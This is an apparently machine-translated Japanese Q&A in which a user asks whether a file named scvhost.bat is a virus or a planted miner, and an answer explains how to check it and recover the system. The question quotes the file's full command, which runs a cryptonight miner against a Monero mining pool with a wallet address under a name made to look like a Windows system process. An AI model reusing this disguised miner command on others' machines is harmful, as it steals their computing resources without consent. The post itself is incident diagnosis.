質問: cryptonightを含むこのscvhost.batはウイルスですか?それとも鉱夫ですか? scvhost.batという名前のこの.batファイルを見つけました。ファイルの内容は次のとおりです。scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tqysfkx2hzdi2hkrua4gx13eqy8djj5xnxhez7baztvwbwxa34vumvekazaia4j8xgui29tpkxpm42jqv6h.microsf -p mxxxxxx-t 02 これはウイルス(情報などを盗むため)または植えられた鉱山労働者ですか?暗号通貨にも手を出しており、stratumは上記のファイルに記載されている通貨なので心配です。
回答: 特にパラメーターにはマイニングプールへのurlが含まれているため、これはある種のマイナーのように見えます。ただし、バイナリの内容を確認する必要があります。システムで見つけたバイナリのチェックサムを、鉱山労働者の開発チームが作成したリリースと比較することは理にかなっています。それらが異なる場合;システムが安全でないと考えてください。別の問題は、このマイナーについて(おそらくそれが大量のcpuを使用していたために)判明したことですが、システムで他に何が起こったかがわかりません。侵入者が鉱山労働者を発射できれば、彼らは他の物も同様に発射できたでしょう。いずれにしても、バックアップから回復するか、新規インストールを実行することをお勧めします。